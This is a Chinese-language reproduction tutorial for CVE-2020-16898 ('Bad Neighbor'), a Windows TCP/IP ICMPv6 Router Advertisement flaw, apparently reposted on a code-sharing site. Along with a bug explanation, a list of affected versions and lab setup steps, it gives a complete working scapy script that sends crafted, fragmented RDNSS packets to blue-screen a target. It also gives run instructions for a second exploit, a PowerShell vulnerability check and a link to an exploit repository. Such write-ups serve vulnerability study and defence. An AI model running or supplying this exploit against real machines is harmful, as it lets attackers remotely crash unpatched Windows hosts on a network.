【復現】CVE-2020-16898 TCP/IP遠程代碼執行漏洞


EXP/POC看文末

簡述:

CVE-2020-16898,又稱“Bad Neighbor”

Windows TCP/IP堆棧不正確地處理ICMPv6 Router Advertisement數據包時,存在一個遠程執行代碼漏洞。成功利用此漏洞的攻擊者可以獲得在目標服務器或客戶端上執行代碼的能力。要利用此漏洞,攻擊者必須將經過特殊設計的ICMPv6 Router Advertisement數據包發送到遠程Windows計算機上。

漏洞描述

當 Windows TCP/IP 堆棧不正確地處理使用 Option Type 25(Recursive DNS Server Option)和長度字段值為偶數的 ICMPv6路由器廣告包時,存在遠程代碼執行漏洞。在此選項中,長度以8字節的增量計算,因此長度為3的 RDNSS 選項的總長度應該為24字節。該選項本身包含五個字段: IPv6遞歸 DNS 服務器的類型、長度、保留、生存期和地址。前四個字段總共是8字節,但是最后一個字段可以包含不同數量的 IPv6地址,每個地址16字節。因此,根據 RFC 8106,長度字段應該始終是一個至少為3的奇數值

具體可看:原理簡述

受影響版本

  • Windows 10 Version 1709 for 32-bit Systems
  • Windows 10 Version 1709 for ARM64-based Systems
  • Windows 10 Version 1709 for x64-based Systems
  • Windows 10 Version 1803 for 32-bit Systems
  • Windows 10 Version 1803 for ARM64-based Systems
  • Windows 10 Version 1803 for x64-based Systems
  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 2004 for 32-bit Systems
  • Windows 10 Version 2004 for ARM64-based Systems
  • Windows 10 Version 2004 for x64-based Systems
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)
  • Windows Server, version 2004 (Server Core installation)

一.環境

網絡環境開啟ipv6支持。這里使用vmware,NAT出一個子網,並開啟ipv6支持。

選取一個受影響版本的windows10鏡像,安裝在虛擬機里。

打開IPv6地址。

二、利用思路

1.利用條件

  1. 基本條件
    • attacker需要獲取target的IPv6和MAC地址
  2. 觸發過程
    • attacker需要搭配其他內存泄漏或信息泄漏漏洞來實現RCE
    • attacker需要想辦法繞過tcpip.sys的GS保護機制

2. 利用過程

attacker直接發送特制的ICMPv6路由廣播數據包給target:

[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]

3. 攻擊向量

建立連接后,利用IPv6直接發送攻擊數據包即可。

三、復現

exp-1

1.執行ipconfig,查看IPv6地址:

2.注意:受害機器的 IPv6地址選取“ipv6地址”或者“臨時ipv6地址”

3.攻擊者和目標主機通信

執行ipconfig查看攻擊機的ipv6地址,選擇“本地鏈接的ipv6地址”。

4.攻擊機中python為3.7+ ,並且安裝了scapy

5.漏洞利用

這段payload作用是構造特定ipv6數據包,發送給受害者機器,讓受害機器藍屏。

CVE-2020-16898-exp1.py:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"	#根據上面的修改為目標機的ipv6地址 或者 臨時ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12"				#攻擊者的本地ipv6地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

執行:

python3 CVE-2020-16898-exp1.py

執行這個腳本,可以看到虛擬機被打藍屏了。如下:

可以wirkshark選擇對應的虛擬網卡進行抓包查看

大概如下(我的wirkshark有點問題,套用大佬的截圖):

目測紅框下的Router Advertisement是最核心的包,

exp-2

條件:能和目標通信,知道目標的本地鏈接IPv6地址

使用

修改代碼中的dst參數為目標的本地鏈接IPv6地址
然后攻擊機執行
python3 CVE-2020-16898-exp2.py即可

四、poc檢測

在github上找了個powershell腳本,可以檢測windows10是否存在這個漏洞,大體看了下是基於版本和配置檢測的,用powershell獲取配置,如果開啟了 基於RA的DNS配置(RFC6106),並且win10發行版本大於1707,就存在這個漏洞。

Clear

$interfaces = (Get-NetIPInterface | where {$_.AddressFamily -eq "IPv6"}).ifIndex
foreach ($interface in $interfaces)
{
    [bool]$vuln = $false
    $output = netsh int ipv6 sh interfaces interface=$interface
    foreach ($Line in $output)
    {
        if($Line.Contains("6106") -and $Line.Contains("enabled"))
        {
            [bool]$vuln = $true
        }
    }
    $NetIPInterfaceAlias = ((Get-NetIPAddress -InterfaceIndex $interface | Select-Object InterfaceAlias)[0]).InterfaceAlias
    if ($vuln)
    {
        Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Red
    }
    else
    {
        Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Not Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Green
    }
}

執行:

 > Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1

五、修復

https://zhuanlan.zhihu.com/p/265755647

https://bbs.pediy.com/thread-262707.htm#msg_header_h3_10

EXP&POC下載及使用方法:https://github.com/komomon/CVE-2020-16898--EXP-POC

參考:https://blog.csdn.net/hsj_csdn/article/details/109138162


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM